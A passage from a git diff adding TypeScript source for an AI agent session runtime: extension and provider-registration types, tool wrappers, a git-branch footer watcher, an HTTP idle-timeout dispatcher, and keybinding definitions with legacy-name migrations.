* api: "openai-responses", + * models: [...], + * oauth: { + * name: "Corporate AI (SSO)", + * async login(callbacks) { ... }, + * async refreshToken(credentials) { ... }, + * getApiKey(credentials) { return credentials.access; } + * } + * }); + */ + registerProvider(name: string, config: ProviderConfig): void; + + /** + * Unregister a previously registered provider. + * + * Removes all models belonging to the named provider and reloads the configured + * model registry. Has no effect if the provider is not currently registered. + * + * Like `registerProvider`, this takes effect immediately when called after + * the initial load phase. + * + * @example + * api.unregisterProvider("my-proxy"); + */ + unregisterProvider(name: string): void; + + /** Shared event bus for extension communication. */ + events: EventBus; +} + +// ============================================================================ +// Provider Registration Types +// ============================================================================ + +/** Configuration for registering a provider via api.registerProvider(). */ +export interface ProviderConfig { + /** Display name for the provider in UI. */ + name?: string; + /** Base URL for the API endpoint. Required when defining models. */ + baseUrl?: string; + /** API key or environment variable name. Required when defining models (unless oauth provided). */ + apiKey?: string; + /** API type. Required at provider or model level when defining models. */ + api?: Api; + /** Optional streamSimple handler for custom APIs. */ + streamSimple?: ( + model: Model, + context: Context, + options?: SimpleStreamOptions, + ) => AssistantMessageEventStreamContract; + /** Custom headers to include in requests. */ + headers?: Record; + /** If true, adds Authorization: Bearer header with the resolved API key. */ + authHeader?: boolean; + /** Models to register. If provided, replaces all existing models for this provider. */ + models?: ProviderModelConfig[]; + /** OAuth provider for /login support. The `id` is set automatically from the provider name. */ + oauth?: { + /** Display name for the provider in login UI. */ + name: string; + /** Run the login flow, return credentials to persist. */ + login(callbacks: OAuthLoginCallbacks): Promise; + /** Refresh expired credentials, return updated credentials to persist. */ + refreshToken(credentials: OAuthCredentials): Promise; + /** Convert credentials to API key string for the provider. */ + getApiKey(credentials: OAuthCredentials): string; + /** Optional: modify models for this provider (e.g., update baseUrl based on credentials). */ + modifyModels?(models: Model[], credentials: OAuthCredentials): Model[]; + }; +} + +/** Configuration for a model within a provider. */ +export interface ProviderModelConfig { + /** Model ID (e.g., "claude-sonnet-4-20250514"). */ + id: string; + /** Display name (e.g., "Claude 4 Sonnet"). */ + name: string; + /** API type override for this model. */ + api?: Api; + /** API endpoint URL override for this model. */ + baseUrl?: string; + /** Whether the model supports extended thinking. */ + reasoning: boolean; + /** Maps OpenClaw thinking levels to provider/model-specific values; null marks a level unsupported. */ + thinkingLevelMap?: Model["thinkingLevelMap"]; + /** Supported input types. */ + input: ("text" | "image")[]; + /** Cost per token (for tracking, can be 0). */ + cost: { input: number; output: number; cacheRead: number; cacheWrite: number }; + /** Maximum context window size in tokens. */ + contextWindow: number; + /** Maximum output tokens. */ + maxTokens: number; + /** Custom headers for this model. */ + headers?: Record; + /** OpenAI compatibility settings. */ + compat?: Model["compat"]; +} + +/** Extension factory function type. Supports both sync and async initialization. */ +export type ExtensionFactory = (api: ExtensionAPI) => void | Promise; + +// ============================================================================ +// Loaded Extension Types +// ============================================================================ + +export interface RegisteredTool { + definition: ToolDefinition; + sourceInfo: SourceInfo; +} + +export interface ExtensionFlag { + name: string; + description?: string; + type: "boolean" | "string"; + default?: boolean | string; + extensionPath: string; +} + +export interface ExtensionShortcut { + shortcut: KeyId; + description?: string; + handler: (ctx: ExtensionContext) => Promise | void; + extensionPath: string; +} + +type HandlerFn = (...args: unknown[]) => Promise; + +export type SendMessageHandler = ( + message: Pick, "customType" | "content" | "display" | "details">, + options?: { triggerTurn?: boolean; deliverAs?: "steer" | "followUp" | "nextTurn" }, +) => void; + +export type SendUserMessageHandler = ( + content: string | (TextContent | ImageContent)[], + options?: { deliverAs?: "steer" | "followUp" }, +) => void; + +export type AppendEntryHandler = (customType: string, data?: unknown) => void; + +export type SetSessionNameHandler = (name: string) => void; + +export type GetSessionNameHandler = () => string | undefined; + +export type GetActiveToolsHandler = () => string[]; + +/** Tool info with name, description, parameter schema, and source metadata */ +export type ToolInfo = Pick & { + sourceInfo: SourceInfo; +}; + +export type GetAllToolsHandler = () => ToolInfo[]; + +export type GetCommandsHandler = () => SlashCommandInfo[]; + +export type SetActiveToolsHandler = (toolNames: string[]) => void; + +export type RefreshToolsHandler = () => void; + +export type SetModelHandler = (model: Model) => Promise; + +export type GetThinkingLevelHandler = () => ThinkingLevel; + +export type SetThinkingLevelHandler = (level: ThinkingLevel) => void; + +export type SetLabelHandler = (entryId: string, label: string | undefined) => void; + +/** + * Shared state created by loader, used during registration and runtime. + * Contains flag values (defaults set during registration, CLI values set after). + */ +export interface ExtensionRuntimeState { + flagValues: Map; + /** Provider registrations queued during extension loading, processed when runner binds */ + pendingProviderRegistrations: Array<{ + name: string; + config: ProviderConfig; + extensionPath: string; + }>; + /** Throws when this extension instance is stale after runtime replacement. */ + assertActive: () => void; + /** Marks this extension instance as stale after runtime replacement or reload. */ + invalidate: (message?: string) => void; + /** + * Register or unregister a provider. + * + * Before bindCore(): queues registrations / removes from queue. + * After bindCore(): calls ModelRegistry directly for immediate effect. + */ + registerProvider: (name: string, config: ProviderConfig, extensionPath?: string) => void; + unregisterProvider: (name: string, extensionPath?: string) => void; +} + +/** + * Action implementations for ExtensionAPI methods. + * Provided to runner.initialize(), copied into the shared runtime. + */ +export interface ExtensionActions { + sendMessage: SendMessageHandler; + sendUserMessage: SendUserMessageHandler; + appendEntry: AppendEntryHandler; + setSessionName: SetSessionNameHandler; + getSessionName: GetSessionNameHandler; + setLabel: SetLabelHandler; + getActiveTools: GetActiveToolsHandler; + getAllTools: GetAllToolsHandler; + setActiveTools: SetActiveToolsHandler; + refreshTools: RefreshToolsHandler; + getCommands: GetCommandsHandler; + setModel: SetModelHandler; + getThinkingLevel: GetThinkingLevelHandler; + setThinkingLevel: SetThinkingLevelHandler; +} + +/** + * Actions for ExtensionContext (ctx.* in event handlers). + * Required by all modes. + */ +export interface ExtensionContextActions { + getModel: () => Model | undefined; + isIdle: () => boolean; + getSignal: () => AbortSignal | undefined; + abort: () => void; + hasPendingMessages: () => boolean; + shutdown: () => void; + getContextUsage: () => ContextUsage | undefined; + compact: (options?: CompactOptions) => void; + getSystemPrompt: () => string; +} + +/** + * Actions for ExtensionCommandContext (ctx.* in command handlers). + * Only needed for interactive mode where extension commands are invokable. + */ +export interface ExtensionCommandContextActions { + waitForIdle: () => Promise; + newSession: (options?: { + parentSession?: string; + setup?: (sessionManager: SessionManager) => Promise; + withSession?: (ctx: ReplacedSessionContext) => Promise; + }) => Promise<{ cancelled: boolean }>; + fork: ( + entryId: string, + options?: { + position?: "before" | "at"; + withSession?: (ctx: ReplacedSessionContext) => Promise; + }, + ) => Promise<{ cancelled: boolean }>; + navigateTree: ( + targetId: string, + options?: { + summarize?: boolean; + customInstructions?: string; + replaceInstructions?: boolean; + label?: string; + }, + ) => Promise<{ cancelled: boolean }>; + switchSession: ( + sessionPath: string, + options?: { withSession?: (ctx: ReplacedSessionContext) => Promise }, + ) => Promise<{ cancelled: boolean }>; + reload: () => Promise; +} + +/** + * Full runtime = state + actions. + * Created by loader with throwing action stubs, completed by runner.initialize(). + */ +export interface ExtensionRuntime extends ExtensionRuntimeState, ExtensionActions {} + +/** Loaded extension with all registered items. */ +export interface Extension { + path: string; + resolvedPath: string; + sourceInfo: SourceInfo; + handlers: Map; + tools: Map; + messageRenderers: Map; + commands: Map; + flags: Map; + shortcuts: Map; +} + +/** Result of loading extensions. */ +export interface LoadExtensionsResult { + extensions: Extension[]; + errors: Array<{ path: string; error: string }>; + /** Shared runtime - actions are throwing stubs until runner.initialize() */ + runtime: ExtensionRuntime; +} + +// ============================================================================ +// Extension Error +// ============================================================================ + +export interface ExtensionError { + extensionPath: string; + event: string; + error: string; + stack?: string; +} diff --git a/src/agents/sessions/extensions/wrapper.ts b/src/agents/sessions/extensions/wrapper.ts new file mode 100644 index 00000000000..f4dc577a2e7 --- /dev/null +++ b/src/agents/sessions/extensions/wrapper.ts @@ -0,0 +1,36 @@ +/** + * Tool wrappers for extension-registered tools. + * + * These wrappers only adapt tool execution so extension tools receive the runner context. + * Tool call and tool result interception is handled by AgentSession via agent-core hooks. + */ + +import type { AgentTool } from "../../runtime/index.js"; +import { wrapToolDefinition, wrapToolDefinitions } from "../tools/tool-definition-wrapper.js"; +import type { ExtensionRunner } from "./runner.js"; +import type { RegisteredTool } from "./types.js"; + +/** + * Wrap a RegisteredTool into an AgentTool. + * Uses the runner's createContext() for consistent context across tools and event handlers. + */ +export function wrapRegisteredTool( + registeredTool: RegisteredTool, + runner: ExtensionRunner, +): AgentTool { + return wrapToolDefinition(registeredTool.definition, () => runner.createContext()); +} + +/** + * Wrap all registered tools into AgentTools. + * Uses the runner's createContext() for consistent context across tools and event handlers. + */ +export function wrapRegisteredTools( + registeredTools: RegisteredTool[], + runner: ExtensionRunner, +): AgentTool[] { + return wrapToolDefinitions( + registeredTools.map((registeredTool) => registeredTool.definition), + () => runner.createContext(), + ); +} diff --git a/src/agents/sessions/footer-data-provider.ts b/src/agents/sessions/footer-data-provider.ts new file mode 100644 index 00000000000..202b4cde473 --- /dev/null +++ b/src/agents/sessions/footer-data-provider.ts @@ -0,0 +1,388 @@ +import { type ExecFileException, execFile, spawnSync } from "node:child_process"; +import { + existsSync, + type FSWatcher, + readFileSync, + statSync, + unwatchFile, + watchFile, +} from "node:fs"; +import { dirname, join, resolve } from "node:path"; +import { closeWatcher, FS_WATCH_RETRY_DELAY_MS, watchWithErrorHandler } from "../utils/fs-watch.js"; + +type GitPaths = { + repoDir: string; + commonGitDir: string; + headPath: string; +}; + +/** + * Find git metadata paths by walking up from cwd. + * Handles both regular git repos (.git is a directory) and worktrees (.git is a file). + */ +function findGitPaths(cwd: string): GitPaths | null { + let dir = cwd; + while (true) { + const gitPath = join(dir, ".git"); + if (existsSync(gitPath)) { + try { + const stat = statSync(gitPath); + if (stat.isFile()) { + const content = readFileSync(gitPath, "utf8").trim(); + if (content.startsWith("gitdir: ")) { + const gitDir = resolve(dir, content.slice(8).trim()); + const headPath = join(gitDir, "HEAD"); + if (!existsSync(headPath)) { + return null; + } + const commonDirPath = join(gitDir, "commondir"); + const commonGitDir = existsSync(commonDirPath) + ? resolve(gitDir, readFileSync(commonDirPath, "utf8").trim()) + : gitDir; + return { repoDir: dir, commonGitDir, headPath }; + } + } else if (stat.isDirectory()) { + const headPath = join(gitPath, "HEAD"); + if (!existsSync(headPath)) { + return null; + } + return { repoDir: dir, commonGitDir: gitPath, headPath }; + } + } catch { + return null; + } + } + const parent = dirname(dir); + if (parent === dir) { + return null; + } + dir = parent; + } +} + +/** Ask git for the current branch. Returns null on detached HEAD or if git is unavailable. */ +function resolveBranchWithGitSync(repoDir: string): string | null { + const result = spawnSync( + "git", + ["--no-optional-locks", "symbolic-ref", "--quiet", "--short", "HEAD"], + { + cwd: repoDir, + encoding: "utf8", + stdio: ["ignore", "pipe", "ignore"], + }, + ); + const branch = result.status === 0 ? result.stdout.trim() : ""; + return branch || null; +} + +/** Ask git for the current branch asynchronously. Returns null on detached HEAD or if git is unavailable. */ +function resolveBranchWithGitAsync(repoDir: string): Promise { + return new Promise((resolvePromise) => { + execFile( + "git", + ["--no-optional-locks", "symbolic-ref", "--quiet", "--short", "HEAD"], + { + cwd: repoDir, + encoding: "utf8", + }, + (error: ExecFileException | null, stdout: string) => { + if (error) { + resolvePromise(null); + return; + } + const branch = stdout.trim(); + resolvePromise(branch || null); + }, + ); + }); +} + +/** + * Provides git branch and extension statuses - data not otherwise accessible to extensions. + * Token stats, model info available via ctx.sessionManager and ctx.model. + */ +export class FooterDataProvider { + private cwd: string; + private static readonly WATCH_DEBOUNCE_MS = 500; + + private extensionStatuses = new Map(); + private cachedBranch: string | null | undefined = undefined; + private gitPaths: GitPaths | null | undefined = undefined; + private headWatcher: FSWatcher | null = null; + private reftableWatcher: FSWatcher | null = null; + private reftableTablesListWatcher: FSWatcher | null = null; + private reftableTablesListPath: string | null = null; + private branchChangeCallbacks = new Set<() => void>(); + private availableProviderCount = 0; + private refreshTimer: ReturnType | null = null; + private gitWatcherRetryTimer: ReturnType | null = null; + private refreshInFlight = false; + private refreshPending = false; + private disposed = false; + + constructor(cwd: string) { + this.cwd = cwd; + this.gitPaths = findGitPaths(cwd); + this.setupGitWatcher(); + } + + /** Current git branch, null if not in repo, "detached" if detached HEAD */ + getGitBranch(): string | null { + if (this.cachedBranch === undefined) { + this.cachedBranch = this.resolveGitBranchSync(); + } + return this.cachedBranch; + } + + /** Extension status texts set via ctx.ui.setStatus() */ + getExtensionStatuses(): ReadonlyMap { + return this.extensionStatuses; + } + + /** Subscribe to git branch changes. Returns unsubscribe function. */ + onBranchChange(callback: () => void): () => void { + this.branchChangeCallbacks.add(callback); + return () => this.branchChangeCallbacks.delete(callback); + } + + /** Internal: set extension status */ + setExtensionStatus(key: string, text: string | undefined): void { + if (text === undefined) { + this.extensionStatuses.delete(key); + } else { + this.extensionStatuses.set(key, text); + } + } + + /** Internal: clear extension statuses */ + clearExtensionStatuses(): void { + this.extensionStatuses.clear(); + } + + /** Number of unique providers with available models (for footer display) */ + getAvailableProviderCount(): number { + return this.availableProviderCount; + } + + /** Internal: update available provider count */ + setAvailableProviderCount(count: number): void { + this.availableProviderCount = count; + } + + setCwd(cwd: string): void { + if (this.cwd === cwd) { + return; + } + + this.cwd = cwd; + if (this.refreshTimer) { + clearTimeout(this.refreshTimer); + this.refreshTimer = null; + } + this.clearGitWatchers(); + this.cachedBranch = undefined; + this.gitPaths = findGitPaths(cwd); + this.setupGitWatcher(); + this.notifyBranchChange(); + } + + /** Internal: cleanup */ + dispose(): void { + this.disposed = true; + if (this.refreshTimer) { + clearTimeout(this.refreshTimer); + this.refreshTimer = null; + } + this.clearGitWatchers(); + this.branchChangeCallbacks.clear(); + } + + private notifyBranchChange(): void { + for (const cb of this.branchChangeCallbacks) { + cb(); + } + } + + private scheduleRefresh(): void { + if (this.disposed || this.refreshTimer) { + return; + } + if (this.refreshInFlight) { + this.refreshPending = true; + return; + } + this.refreshTimer = setTimeout(() => { + this.refreshTimer = null; + void this.refreshGitBranchAsync(); + }, FooterDataProvider.WATCH_DEBOUNCE_MS); + } + + private async refreshGitBranchAsync(): Promise { + if (this.disposed) { + return; + } + if (this.refreshInFlight) { + this.refreshPending = true; + return; + } + + this.refreshInFlight = true; + try { + const nextBranch = await this.resolveGitBranchAsync(); + if (this.disposed) { + return; + } + if (this.cachedBranch !== undefined && this.cachedBranch !== nextBranch) { + this.cachedBranch = nextBranch; + this.notifyBranchChange(); + return; + } + this.cachedBranch = nextBranch; + } finally { + this.refreshInFlight = false; + if (this.refreshPending && !this.disposed) { + this.refreshPending = false; + this.scheduleRefresh(); + } + } + } + + private resolveGitBranchSync(): string | null { + try { + if (!this.gitPaths) { + return null; + } + const content = readFileSync(this.gitPaths.headPath, "utf8").trim(); + if (content.startsWith("ref: refs/heads/")) { + const branch = content.slice(16); + return branch === ".invalid" + ? (resolveBranchWithGitSync(this.gitPaths.repoDir) ?? "detached") + : branch; + } + return "detached"; + } catch { + return null; + } + } + + private async resolveGitBranchAsync(): Promise { + try { + if (!this.gitPaths) { + return null; + } + const content = readFileSync(this.gitPaths.headPath, "utf8").trim(); + if (content.startsWith("ref: refs/heads/")) { + const branch = content.slice(16); + return branch === ".invalid" + ? ((await resolveBranchWithGitAsync(this.gitPaths.repoDir)) ?? "detached") + : branch; + } + return "detached"; + } catch { + return null; + } + } + + private clearGitWatchers(): void { + closeWatcher(this.headWatcher); + this.headWatcher = null; + closeWatcher(this.reftableWatcher); + this.reftableWatcher = null; + closeWatcher(this.reftableTablesListWatcher); + this.reftableTablesListWatcher = null; + if (this.reftableTablesListPath) { + unwatchFile(this.reftableTablesListPath); + this.reftableTablesListPath = null; + } + if (this.gitWatcherRetryTimer) { + clearTimeout(this.gitWatcherRetryTimer); + this.gitWatcherRetryTimer = null; + } + } + + private scheduleGitWatcherRetry(): void { + if (this.disposed || this.gitWatcherRetryTimer) { + return; + } + + this.gitWatcherRetryTimer = setTimeout(() => { + this.gitWatcherRetryTimer = null; + this.setupGitWatcher(); + }, FS_WATCH_RETRY_DELAY_MS); + } + + private handleGitWatcherError(): void { + this.clearGitWatchers(); + this.scheduleGitWatcherRetry(); + } + + private setupGitWatcher(): void { + this.clearGitWatchers(); + if (!this.gitPaths) { + return; + } + + // Watch the directory containing HEAD, not HEAD itself. + // Git uses atomic writes (write temp, rename over HEAD), which changes the inode. + // fs.watch on a file stops working after the inode changes. + this.headWatcher = watchWithErrorHandler( + dirname(this.gitPaths.headPath), + (eventType, filename) => { + void eventType; + if (!filename || filename === "HEAD") { + this.scheduleRefresh(); + } + }, + () => this.handleGitWatcherError(), + ); + if (!this.headWatcher) { + return; + } + + // In reftable repos, branch switches update files in the reftable directory + // instead of HEAD. Watch it separately so the footer picks up those changes. + const reftableDir = join(this.gitPaths.commonGitDir, "reftable"); + if (existsSync(reftableDir)) { + this.reftableWatcher = watchWithErrorHandler( + reftableDir, + () => { + this.scheduleRefresh(); + }, + () => this.handleGitWatcherError(), + ); + if (!this.reftableWatcher) { + return; + } + + const tablesListPath = join(reftableDir, "tables.list"); + if (existsSync(tablesListPath)) { + this.reftableTablesListPath = tablesListPath; + this.reftableTablesListWatcher = watchWithErrorHandler( + tablesListPath, + () => { + this.scheduleRefresh(); + }, + () => this.handleGitWatcherError(), + ); + if (!this.reftableTablesListWatcher) { + return; + } + watchFile(tablesListPath, { interval: 250 }, (current, previous) => { + if ( + current.mtimeMs !== previous.mtimeMs || + current.ctimeMs !== previous.ctimeMs || + current.size !== previous.size + ) { + this.scheduleRefresh(); + } + }); + } + } + } +} + +/** Read-only view for extensions - excludes setExtensionStatus, setAvailableProviderCount and dispose */ +export type ReadonlyFooterDataProvider = Pick< + FooterDataProvider, + "getGitBranch" | "getExtensionStatuses" | "getAvailableProviderCount" | "onBranchChange" +>; diff --git a/src/agents/sessions/http-dispatcher.ts b/src/agents/sessions/http-dispatcher.ts new file mode 100644 index 00000000000..36ef0878d76 --- /dev/null +++ b/src/agents/sessions/http-dispatcher.ts @@ -0,0 +1,55 @@ +import * as undici from "undici"; + +export const DEFAULT_HTTP_IDLE_TIMEOUT_MS = 300_000; + +export const HTTP_IDLE_TIMEOUT_CHOICES = [ + { label: "30 sec", timeoutMs: 30_000 }, + { label: "1 min", timeoutMs: 60_000 }, + { label: "2 min", timeoutMs: 120_000 }, + { label: "5 min", timeoutMs: 300_000 }, + { label: "disabled", timeoutMs: 0 }, +] as const; + +export function parseHttpIdleTimeoutMs(value: unknown): number | undefined { + if (typeof value === "string") { + const trimmed = value.trim(); + if (trimmed.toLowerCase() === "disabled") { + return 0; + } + if (trimmed.length === 0) { + return undefined; + } + return parseHttpIdleTimeoutMs(Number(trimmed)); + } + + if (typeof value !== "number" || !Number.isFinite(value) || value < 0) { + return undefined; + } + return Math.floor(value); +} + +export function formatHttpIdleTimeoutMs(timeoutMs: number): string { + const choice = HTTP_IDLE_TIMEOUT_CHOICES.find((item) => item.timeoutMs === timeoutMs); + if (choice) { + return choice.label; + } + return `${timeoutMs / 1000} sec`; +} + +export function configureHttpDispatcher(timeoutMs: number = DEFAULT_HTTP_IDLE_TIMEOUT_MS): void { + const normalizedTimeoutMs = parseHttpIdleTimeoutMs(timeoutMs); + if (normalizedTimeoutMs === undefined) { + throw new Error(`Invalid HTTP idle timeout: ${String(timeoutMs)}`); + } + undici.setGlobalDispatcher( + new undici.EnvHttpProxyAgent({ + allowH2: false, + bodyTimeout: normalizedTimeoutMs, + headersTimeout: normalizedTimeoutMs, + }), + ); + // Keep fetch and the dispatcher on the same undici implementation. Node 26.0's + // bundled fetch can otherwise consume compressed responses through npm undici's + // dispatcher without decompressing them, causing response.json() failures. + undici.install?.(); +} diff --git a/src/agents/sessions/index.ts b/src/agents/sessions/index.ts new file mode 100644 index 00000000000..ee30f7a3382 --- /dev/null +++ b/src/agents/sessions/index.ts @@ -0,0 +1,43 @@ +/** + * OpenClaw-owned agent session runtime. + */ + +export { getAgentDir, VERSION } from "../config.js"; +export * from "./agent-session.js"; +export * from "./agent-session-runtime.js"; +export * from "./agent-session-services.js"; +export * from "./auth-storage.js"; +export * from "./bash-executor.js"; +export * from "./compaction/index.js"; +export * from "./event-bus.js"; +export * from "./extensions/index.js"; +export type { ReadonlyFooterDataProvider } from "./footer-data-provider.js"; +export { convertToLlm } from "./messages.js"; +export * from "./model-registry.js"; +export * from "./model-resolver.js"; +export * from "./package-manager.js"; +export * from "./resource-loader.js"; +export * from "./sdk.js"; +export * from "./session-manager.js"; +export { + FileSettingsStorage, + InMemorySettingsStorage, + SettingsManager, + type BranchSummarySettings, + type ImageSettings, + type MarkdownSettings, + type PackageSource, + type ProviderRetrySettings, + type RetrySettings, + type Settings, + type SettingsError, + type SettingsScope, + type SettingsStorage, + type TerminalSettings, + type ThinkingBudgetsSettings, + type TransportSetting, + type WarningSettings, +} from "./settings-manager.js"; +export * from "./skills.js"; +export * from "./source-info.js"; +export * from "./tools/index.js"; diff --git a/src/agents/sessions/keybindings.ts b/src/agents/sessions/keybindings.ts new file mode 100644 index 00000000000..b6e65589df4 --- /dev/null +++ b/src/agents/sessions/keybindings.ts @@ -0,0 +1,378 @@ +import { existsSync, readFileSync } from "node:fs"; +import { join } from "node:path"; +import { + type Keybinding, + type KeybindingDefinitions, + type KeybindingsConfig, + type KeyId, + TUI_KEYBINDINGS, + KeybindingsManager as TuiKeybindingsManager, +} from "@earendil-works/pi-tui"; +import { getAgentDir } from "../config.js"; + +export interface AppKeybindings { + "app.interrupt": true; + "app.clear": true; + "app.exit": true; + "app.suspend": true; + "app.thinking.cycle": true; + "app.model.cycleForward": true; + "app.model.cycleBackward": true; + "app.model.select": true; + "app.tools.expand": true; + "app.thinking.toggle": true; + "app.session.toggleNamedFilter": true; + "app.editor.external": true; + "app.message.followUp": true; + "app.message.dequeue": true; + "app.clipboard.pasteImage": true; + "app.session.new": true; + "app.session.tree": true; + "app.session.fork": true; + "app.session.resume": true; + "app.tree.foldOrUp": true; + "app.tree.unfoldOrDown": true; + "app.tree.editLabel": true; + "app.tree.toggleLabelTimestamp": true; + "app.session.togglePath": true; + "app.session.toggleSort": true; + "app.session.rename": true; + "app.session.delete": true; + "app.session.deleteNoninvasive": true; + "app.models.save": true; + "app.models.enableAll": true; + "app.models.clearAll": true; + "app.models.toggleProvider": true; + "app.models.reorderUp": true; + "app.models.reorderDown": true; + "app.tree.filter.default": true; + "app.tree.filter.noTools": true; + "app.tree.filter.userOnly": true; + "app.tree.filter.labeledOnly": true; + "app.tree.filter.all": true; + "app.tree.filter.cycleForward": true; + "app.tree.filter.cycleBackward": true; +} + +export type AppKeybinding = keyof AppKeybindings; + +declare module "@earendil-works/pi-tui" { + interface Keybindings extends AppKeybindings {} +} + +export const KEYBINDINGS = { + ...TUI_KEYBINDINGS, + "app.interrupt": { defaultKeys: "escape", description: "Cancel or abort" }, + "app.clear": { defaultKeys: "ctrl+c", description: "Clear editor" }, + "app.exit": { defaultKeys: "ctrl+d", description: "Exit when editor is empty" }, + "app.suspend": { + defaultKeys: process.platform === "win32" ? [] : "ctrl+z", + description: "Suspend to background", + }, + "app.thinking.cycle": { + defaultKeys: "shift+tab", + description: "Cycle thinking level", + }, + "app.model.cycleForward": { + defaultKeys: "ctrl+p", + description: "Cycle to next model", + }, + "app.model.cycleBackward": { + defaultKeys: "shift+ctrl+p", + description: "Cycle to previous model", + }, + "app.model.select": { defaultKeys: "ctrl+l", description: "Open model selector" }, + "app.tools.expand": { defaultKeys: "ctrl+o", description: "Toggle tool output" }, + "app.thinking.toggle": { + defaultKeys: "ctrl+t", + description: "Toggle thinking blocks", + }, + "app.session.toggleNamedFilter": { + defaultKeys: "ctrl+n", + description: "Toggle named session filter", + }, + "app.editor.external": { + defaultKeys: "ctrl+g", + description: "Open external editor", + }, + "app.message.followUp": { + defaultKeys: "alt+enter", + description: "Queue follow-up message", + }, + "app.message.dequeue": { + defaultKeys: "alt+up", + description: "Restore queued messages", + }, + "app.clipboard.pasteImage": { + defaultKeys: process.platform === "win32" ? "alt+v" : "ctrl+v", + description: "Paste image from clipboard", + }, + "app.session.new": { defaultKeys: [], description: "Start a new session" }, + "app.session.tree": { defaultKeys: [], description: "Open session tree" }, + "app.session.fork": { defaultKeys: [], description: "Fork current session" }, + "app.session.resume": { defaultKeys: [], description: "Resume a session" }, + "app.tree.foldOrUp": { + defaultKeys: ["ctrl+left", "alt+left"], + description: "Fold tree branch or move up", + }, + "app.tree.unfoldOrDown": { + defaultKeys: ["ctrl+right", "alt+right"], + description: "Unfold tree branch or move down", + }, + "app.tree.editLabel": { + defaultKeys: "shift+l", + description: "Edit tree label", + }, + "app.tree.toggleLabelTimestamp": { + defaultKeys: "shift+t", + description: "Toggle tree label timestamps", + }, + "app.session.togglePath": { + defaultKeys: "ctrl+p", + description: "Toggle session path display", + }, + "app.session.toggleSort": { + defaultKeys: "ctrl+s", + description: "Toggle session sort mode", + }, + "app.session.rename": { + defaultKeys: "ctrl+r", + description: "Rename session", + }, + "app.session.delete": { + defaultKeys: "ctrl+d", + description: "Delete session", + }, + "app.session.deleteNoninvasive": { + defaultKeys: "ctrl+backspace", + description: "Delete session when query is empty", + }, + "app.models.save": { + defaultKeys: "ctrl+s", + description: "Save model selection", + }, + "app.models.enableAll": { + defaultKeys: "ctrl+a", + description: "Enable all models", + }, + "app.models.clearAll": { + defaultKeys: "ctrl+x", + description: "Clear all models", + }, + "app.models.toggleProvider": { + defaultKeys: "ctrl+p", + description: "Toggle all models for provider", + }, + "app.models.reorderUp": { + defaultKeys: "alt+up", + description: "Move model up in order", + }, + "app.models.reorderDown": { + defaultKeys: "alt+down", + description: "Move model down in order", + }, + "app.tree.filter.default": { + defaultKeys: "ctrl+d", + description: "Tree filter: default view", + }, + "app.tree.filter.noTools": { + defaultKeys: "ctrl+t", + description: "Tree filter: hide tool results", + }, + "app.tree.filter.userOnly": { + defaultKeys: "ctrl+u", + description: "Tree filter: user messages only", + }, + "app.tree.filter.labeledOnly": { + defaultKeys: "ctrl+l", + description: "Tree filter: labeled entries only", + }, + "app.tree.filter.all": { + defaultKeys: "ctrl+a", + description: "Tree filter: show all entries", + }, + "app.tree.filter.cycleForward": { + defaultKeys: "ctrl+o", + description: "Tree filter: cycle forward", + }, + "app.tree.filter.cycleBackward": { + defaultKeys: "shift+ctrl+o", + description: "Tree filter: cycle backward", + }, +} as const satisfies KeybindingDefinitions; + +const KEYBINDING_NAME_MIGRATIONS = { + cursorUp: "tui.editor.cursorUp", + cursorDown: "tui.editor.cursorDown", + cursorLeft: "tui.editor.cursorLeft", + cursorRight: "tui.editor.cursorRight", + cursorWordLeft: "tui.editor.cursorWordLeft", + cursorWordRight: "tui.editor.cursorWordRight", + cursorLineStart: "tui.editor.cursorLineStart", + cursorLineEnd: "tui.editor.cursorLineEnd", + jumpForward: "tui.editor.jumpForward", + jumpBackward: "tui.editor.jumpBackward", + pageUp: "tui.editor.pageUp", + pageDown: "tui.editor.pageDown", + deleteCharBackward: "tui.editor.deleteCharBackward", + deleteCharForward: "tui.editor.deleteCharForward", + deleteWordBackward: "tui.editor.deleteWordBackward", + deleteWordForward: "tui.editor.deleteWordForward", + deleteToLineStart: "tui.editor.deleteToLineStart", + deleteToLineEnd: "tui.editor.deleteToLineEnd", + yank: "tui.editor.yank", + yankPop: "tui.editor.yankPop", + undo: "tui.editor.undo", + newLine: "tui.input.newLine", + submit: "tui.input.submit", + tab: "tui.input.tab", + copy: "tui.input.copy", + selectUp: "tui.select.up", + selectDown: "tui.select.down", + selectPageUp: "tui.select.pageUp", + selectPageDown: "tui.select.pageDown", + selectConfirm: "tui.select.confirm", + selectCancel: "tui.select.cancel", + interrupt: "app.interrupt", + clear: "app.clear", + exit: "app.exit", + suspend: "app.suspend", + cycleThinkingLevel: "app.thinking.cycle", + cycleModelForward: "app.model.cycleForward", + cycleModelBackward: "app.model.cycleBackward", + selectModel: "app.model.select", + expandTools: "app.tools.expand", + toggleThinking: "app.thinking.toggle", + toggleSessionNamedFilter: "app.session.toggleNamedFilter", + externalEditor: "app.editor.external", + followUp: "app.message.followUp", + dequeue: "app.message.dequeue", + pasteImage: "app.clipboard.pasteImage", + newSession: "app.session.new", + tree: "app.session.tree", + fork: "app.session.fork", + resume: "app.session.resume", + treeFoldOrUp: "app.tree.foldOrUp", + treeUnfoldOrDown: "app.tree.unfoldOrDown", + treeEditLabel: "app.tree.editLabel", + treeToggleLabelTimestamp: "app.tree.toggleLabelTimestamp", + toggleSessionPath: "app.session.togglePath", + toggleSessionSort: "app.session.toggleSort", + renameSession: "app.session.rename", + deleteSession: "app.session.delete", + deleteSessionNoninvasive: "app.session.deleteNoninvasive", +} as const satisfies Record; + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +function isLegacyKeybindingName(key: string): key is keyof typeof KEYBINDING_NAME_MIGRATIONS { + return key in KEYBINDING_NAME_MIGRATIONS; +} + +function toKeybindingsConfig(value: unknown): KeybindingsConfig { + if (!isRecord(value)) { + return {}; + } + + const config: KeybindingsConfig = {}; + for (const [key, binding] of Object.entries(value)) { + if (typeof binding === "string") { + config[key] = binding as KeyId; + continue; + } + if (Array.isArray(binding) && binding.every((entry) => typeof entry === "string")) { + config[key] = binding as KeyId[]; + } + } + return config; +} + +export function migrateKeybindingsConfig(rawConfig: Record): { + config: Record; + migrated: boolean; +} { + const config: Record = {}; + let migrated = false; + + for (const [key, value] of Object.entries(rawConfig)) { + const nextKey = isLegacyKeybindingName(key) ? KEYBINDING_NAME_MIGRATIONS[key] : key; + if (nextKey !== key) { + migrated = true; + } + if (key !== nextKey && Object.hasOwn(rawConfig, nextKey)) { + migrated = true; + continue; + } + config[nextKey] = value; + } + + return { config: orderKeybindingsConfig(config), migrated }; +} + +function 